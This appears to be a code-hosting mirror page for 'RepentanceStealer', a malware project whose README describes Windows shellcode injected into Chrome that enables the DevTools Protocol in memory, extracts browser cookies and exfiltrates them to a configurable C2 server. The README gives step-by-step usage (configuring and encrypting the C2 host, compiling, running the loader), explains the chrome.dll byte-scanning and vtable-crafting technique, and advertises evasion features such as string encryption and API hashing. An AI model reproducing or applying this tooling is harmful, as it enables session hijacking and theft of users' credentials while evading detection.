RepentanceStealer

KO | EN

gitlite — search

#machine-learning #claude #ui #php #csharp #shell #bash #computer-vision #http #sql

RepentanceStealer

(★ 9)

x64 PIC shellcode that enable chrome CDP in-memory and extract/exfiltrate cookies

파일 탐색기

ZIP 다운로드

- cdp.h
- common.h
- core.h
- net.h
- resolver.h
- utils.h
- injector.c
- README.md
- encrypt.py
- hash.py
- HttpsSrv.py
- ws.py
- cdp.c
- debug.c
- entry.c
- net.c
- resolver.c
- utils.c
Makefile
README.md
shellcode.ld

# CDN으로 사용하기

jsDelivr

jsDelivr는 공개 GitHub 리포지토리를 별도 설정 없이 CDN으로 즉시 서빙합니다. 버전과 파일을 고르면 웹페이지에 바로 붙일 수 있는 링크와 예시 코드가 만들어집니다.

버전

파일

링크

예시

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

Windows x64 PIC shellcode enables Chrome Debugging Protocol in-memory and uses it for cookies extraction/exfiltration

## Architecture
- `/Loader/` Loads the shellcode inside chrome.exe process and execute it using special APCs
- `/src/` Core shellcode implementation
- `/script/` Varius utilities

## How to use it
- Use `/script/HttpsSrv` HTTPS server
- Inside `/src/cdp.c` change `C2_PORT` if needed and regenerate an encrypted `sC2Host` with `/script/encrypt.py`
- Compile the project using the makefile
- On a Windows machine open chrome and execute `.\Loader.exe .\repentance.x64.bin`
- CDP will be enabled and cookies sended to the specified C2 server

## How it works
entry.c contains the main logic for enabling CDP in memory, normally when `--remote-debugging-port` is used to spawn chrome with CDP enabled chrome calls `DevToolsAgentHost::StartRemoteDebuggingServer` ( [see here](https://source.chromium.org/chromium/chromium/src/+/main:content/browser/devtools/devtools_agent_host_impl.cc) ). We do the same thing, scan chrome.dll for `StartRemoteDebuggingServer`, `Chrome!malloc` and `TCPServerSocketFactory::CreateForHttpServer` bytes signature. 
`StartRemoteDebuggingServer` expects a  `DevToolsSocketFactory` vftable as argument, we can find it by using the address of `CreateForHttpServer` and search for that through the .rdata section of chrome.dll

Once its done we can allocate memory using `chrome!malloc` and craft the Factory object with this layout
    
    +0x00: [vtable_addr]  → points to TCPServerSocketFactory::`vftable' in .rdata
    +0x08: [0x240E]       → 9222 -> port_

The shellcode will than spawns a  worker thread that: does `GET /json/version` -> extract `webSocketDebuggerUrl` and uuid -> craft target path `/devtools/browser/<uuid>` -> Sends ws request `{"id":1,"method":"Storage.getCookies}`

The shellcode has alredy some **built-in evasion features like string encryption, API hashing and PEB obfuscation**

## Known limitation
CDP enabling is merely byte scanning, i have done some testing across major builds of chrome but not on other chromium based browsers. Tested builds:
- 153.0.8010.12
- 152.0.7977.64
- 151.0.7922.138
- 150.0.7871.124
- 149.0.7827.155
- 148.0.7778.178
- 147.0.7727.117
- 146.0.7680.165
- 145.0.7632.117

RepentanceStealer

파일 탐색기

# CDN으로 사용하기

Was this content helpful?

Recent Feedback

Download README